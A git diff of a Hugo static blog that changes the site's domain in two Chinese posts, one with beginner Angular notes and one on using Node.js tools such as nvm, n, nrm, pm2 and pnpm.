class=post-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）</p><p>Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格</p><p>注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成</p><p>安装</p><p>npm install -g angular-cli</p><p>第一个Angular应用</p><pre><code>&lt;div ng-app ng-init=&quot;name='default'&quot;&gt;
-    &lt;p&gt;name: &lt;input type=&quot;text&quot; ng-model=&quot;name&quot;&gt;&lt;/p&gt;
-    &lt;h1&gt;hallo，{{name}}&lt;/h1&gt;
-    &lt;p ng-bind=&quot;name&quot;&gt;&lt;/p&gt;
-&lt;/div&gt;
-</code></pre><p>ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/angular/>Angular</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/105/><span class=title>« Prev</span><br><span>NodeJS常用工具的简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/100/><span class=title>Next »</span><br><span>Koa框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<div ng-app ng-init=&#34;name='default'&#34;> <p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p> <h1>hallo，{{name}}</h1> <p ng-bind=&#34;name&#34;></p> </div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Angular学习笔记","item":"https://chenjunlinabc.github.io/posts/101/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Angular学习笔记","name":"Angular学习笔记","description":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt; \u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt; \u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值","keywords":["Angular"],"articleBody":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\nname: hallo，{{name}} ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值\n","wordCount":"21","inLanguage":"en","datePublished":"2021-09-13T12:00:00Z","dateModified":"2021-09-13T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/101/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Angular学习笔记</h1><div class=post-meta><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Angular%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）</p><p>Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格</p><p>注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成</p><p>安装</p><p>npm install -g angular-cli</p><p>第一个Angular应用</p><pre><code>&lt;div ng-app ng-init=&quot;name='default'&quot;&gt;
+    &lt;p&gt;name: &lt;input type=&quot;text&quot; ng-model=&quot;name&quot;&gt;&lt;/p&gt;
+    &lt;h1&gt;hallo，{{name}}&lt;/h1&gt;
+    &lt;p ng-bind=&quot;name&quot;&gt;&lt;/p&gt;
+&lt;/div&gt;
+</code></pre><p>ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/angular/>Angular</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/105/><span class=title>« Prev</span><br><span>NodeJS常用工具的简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/100/><span class=title>Next »</span><br><span>Koa框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/105/index.html b/posts/105/index.html
index 766b73a5..60875a0b 100644
--- a/posts/105/index.html
+++ b/posts/105/index.html
@@ -35,8 +35,8 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/105/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NodeJS常用工具的简单使用"><meta property="og:description" content="npm在这里https://xiaochenabc123.test.com/archives/31.html
+n rm 14.17.3"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/105/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NodeJS常用工具的简单使用"><meta property="og:description" content="npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -73,7 +73,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/105/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-16T21:55:00+00:00"><meta property="article:modified_time" content="2021-09-16T21:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NodeJS常用工具的简单使用"><meta name=twitter:description content="npm在这里https://xiaochenabc123.test.com/archives/31.html
+n rm 14.17.3"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/105/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-16T21:55:00+00:00"><meta property="article:modified_time" content="2021-09-16T21:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NodeJS常用工具的简单使用"><meta name=twitter:description content="npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -110,12 +110,12 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"NodeJS常用工具的简单使用","item":"https://xiaochenabc123.github.io/posts/105/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"NodeJS常用工具的简单使用","name":"NodeJS常用工具的简单使用","description":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3","keywords":["nodejs","nvm","nrm","pm2","n","pnpm"],"articleBody":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3\n指定版本执行js\nn use 14.17.3 app.js\n切换版本（n回车后，通过上下键来选择版本）\nn\n查看网络上可以安装的nodejs版本\nn ls-remote –all\n删除除当前版本外的全部版本\nn prune\nnrm镜像源管理工具\n安装nrm\nnpm install -g nrm\n查看全部源\nnrm ls\n带*的是当前源\n切换源\nnrm use taobao\n添加自定义源（腾讯npm）\nnrm add tencentnpm https://mirrors.cloud.tencent.com/npm/\n删除源\nnrm del taobao\n测试源速度\nnrm test npm\nPM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等\n安装pm2\nnpm install -g pm2\n或者\nyarn add global pm2\n启动应用（–watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）\npm2 start app.js –watch -i 3 -name=“main”\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n停止应用\npm2 stop app.js\n重启应用\npm2 reload app.js\n删除应用\npm2 delete app.js\n也可以用all来处理全部应用\npm2不只是只能启动nodejs，Python或者shell都可以\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n显示全部应用日志\npm2 logs\n查看指定应用的日志\npm2 logs main\n清空所有日志文件\npm2 flush\n更新pm2\nnpm install pm2@latest -g\npm2内存更新\npm2 update\n查看pm2运行中的全部应用\npm2 list\n查看各个应用内存占用和CPU情况\npm2 monit\n查看指定应用的全部信息\npm2 show main\npnpm\npnpm是Node.js包管理工具，解决了npm/yarn的一些BUG\n特点是：包安装速度极快，磁盘空间利用高效，支持monorepo\n和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本\npnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间\n更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）\n安装\nnpm install -g pnpm\n安装包\npnpm install axios\n升级\npnpm add -g pnpm\n卸载\npnpm uninstall axios –filter package-a\n","wordCount":"255","inLanguage":"en","datePublished":"2021-09-16T21:55:00Z","dateModified":"2021-09-16T21:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/105/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>NodeJS常用工具的简单使用</h1><div class=post-meta><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/NodeJS%e5%b8%b8%e7%94%a8%e5%b7%a5%e5%85%b7%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html</p><p>Yarn在这里https://xiaochenabc123.test.com/archives/38.html</p><hr><p>nvm全名node.js version management</p><p>用来nodejs多版本管理，可以切换和安装不同版本的nodejs</p><p>安装nvm之前记得把安装过的nodejs都卸载了</p><p>安装完成后，安装目录下会生成一个settings.txt文件</p><p>配置一下（如果要使用淘宝npm源的话）</p><p>root: D:\Software\nvm
+n rm 14.17.3"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"NodeJS常用工具的简单使用","item":"https://chenjunlinabc.github.io/posts/105/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"NodeJS常用工具的简单使用","name":"NodeJS常用工具的简单使用","description":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3","keywords":["nodejs","nvm","nrm","pm2","n","pnpm"],"articleBody":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: 